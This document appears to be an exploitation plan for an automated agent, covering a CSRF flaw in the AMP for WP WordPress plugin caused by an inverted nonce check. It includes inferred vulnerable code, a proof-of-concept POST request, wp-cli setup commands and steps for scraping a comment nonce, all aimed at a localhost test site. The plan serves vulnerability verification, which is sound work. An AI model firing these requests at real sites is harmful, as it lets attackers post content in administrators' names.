Exploitation Research Plan: CVE-2025-14468 (AMP for WP CSRF)

1. Vulnerability Summary

The AMP for WP – Accelerated Mobile Pages plugin (versions <= 1.1.9) contains a critical logic error in its AJAX comment submission handler, amp_theme_ajaxcomments. The vulnerability arises from an inverted nonce verification check.

In a standard security implementation, a function should exit if a nonce is invalid. In this plugin, the code logic was accidentally reversed: it terminates the request if a valid nonce is provided but allows the execution to continue if the nonce is missing or incorrect. This allows an unauthenticated attacker to submit comments on behalf of any logged-in user (including administrators) via Cross-Site Request Forgery (CSRF).

2. Attack Vector Analysis

• AJAX Action: amp_theme_ajaxcomments
• Endpoints:
  • wp_ajax_amp_theme_ajaxcomments (Authenticated)
  • wp_ajax_nopriv_amp_theme_ajaxcomments (Unauthenticated)
• Vulnerable Parameter: security (the nonce parameter)
• Authentication: Unauthenticated (to trigger the CSRF)
• Preconditions:
  1. The plugin must be active and "Template Mode" (often "Legacy" or "Swift" in this plugin's settings) must be enabled so that AMP-specific comment handlers are registered.
  2. A victim (e.g., an Administrator) must be tricked into visiting a malicious page.

3. Code Flow (Inferred)

1. Entry Point: A POST request is sent to /wp-admin/admin-ajax.php with action=amp_theme_ajaxcomments.
2. Hook Registration: The plugin registers the handler in the initialization phase:

   add_action( 'wp_ajax_amp_theme_ajaxcomments', 'amp_theme_ajaxcomments' );
   add_action( 'wp_ajax_nopriv_amp_theme_ajaxcomments', 'amp_theme_ajaxcomments' );
   

3. Vulnerable Logic (The Sink): Inside the amp_theme_ajaxcomments() function (likely located in templates/design-manager/design-1/elements/comments.php or an AJAX includes file):

   function amp_theme_ajaxcomments() {
       $nonce = $_POST['security'];
       // VULNERABILITY: Inverted logic
       if ( wp_verify_nonce( $nonce, 'amp_comment_nonce' ) ) { 
           // If the nonce IS VALID, it stops!
           wp_die(); 
       }
       // If the nonce is MISSING or INVALID, it proceeds to process the comment
       // ... code to call wp_handle_comment_submission() or wp_new_comment() ...
   }
   

4. Nonce Acquisition Strategy

According to the vulnerability description, no valid nonce is required. In fact, providing a valid nonce would cause the exploit to fail.

To verify the vulnerability, we will attempt the request:

1. Without the security parameter.
2. With an obviously fake security parameter (e.g., security=12345).

5. Exploitation Strategy

We will perform a PoC that demonstrates an unauthenticated user (the agent) forcing an authenticated administrator to post a comment via CSRF.

Step-by-Step Plan

1. Setup: Ensure a post exists and AMP is configured.
2. Victim Context: The agent will use the http_request tool to simulate a POST request. In a real-world CSRF, this would be a hidden form on an attacker's site, but for a PoC, we will demonstrate the endpoint's failure to reject unauthorized requests.
3. Payload Construction:
   • URL: http://localhost:8080/wp-admin/admin-ajax.php
   • Method: POST
   • Content-Type: application/x-www-form-urlencoded
   • Body Parameters:
     • action: amp_theme_ajaxcomments
     • comment: Vulnerability Verified: CSRF in AMP for WP
     • comment_post_ID: [TARGET_POST_ID]
     • security: invalid_nonce_string (or omit entirely)
     • _wp_unfiltered_html_comment: [NONCE_FROM_PAGE] (Standard WP comment nonce, if checked by core)

Execution (Automated Agent):

// Example of the POST request via http_request
{
  "method": "POST",
  "url": "http://localhost:8080/wp-admin/admin-ajax.php",
  "headers": {
    "Content-Type": "application/x-www-form-urlencoded"
  },
  "data": "action=amp_theme_ajaxcomments&comment=CSRF_TEST&comment_post_ID=1&security=FAIL"
}

6. Test Data Setup

1. Identify a Post: Find the ID of the "Hello World" post (usually ID 1).
   • Command: wp post list --post_type=post --format=ids
2. Enable AMP Plugin:
   • Command: wp plugin activate accelerated-mobile-pages
3. Enable Template Mode: Ensure the plugin is in a state where it uses its custom AJAX handler.
   • Command: wp option update ampforwp_design_settings '{"model":"design-1"}' (Example - adjust based on actual option name).
4. Create a Victim Admin:
   • Use the existing admin account for the CSRF context.

7. Expected Results

• The server should return a response indicating comment success (often a redirect URL or a JSON success message).
• Crucially: The request must NOT be blocked with a 403 Forbidden or a -1 response, even though the security parameter is invalid.

8. Verification Steps

After the http_request is sent, verify the comment exists in the database:

1. Check Comments via CLI:
   • Command: wp comment list --post_id=1
2. Check Comment Content:
   • Verify the most recent comment contains the string CSRF_TEST.
3. Check Author:
   • If the request was sent with the Admin's cookies (simulating CSRF), the comment should be attributed to the Administrator.

9. Alternative Approaches

If the security parameter is not the only check:

• Core Comment Nonce: If the plugin passes the data to wp_handle_comment_submission, it might require the standard _wp_unfiltered_html_comment nonce.
• Acquiring Core Nonce:
  1. Navigate to the post page: browser_navigate("http://localhost:8080/?p=1")
  2. Extract the standard comment nonce: browser_eval("document.querySelector('#_wp_unfiltered_html_comment')?.value")
  3. Include this in the AJAX payload.
• Template Mode: If design-1 doesn't work, try other design modes like design-2 or design-3, as the AJAX handler registration might be specific to certain templates.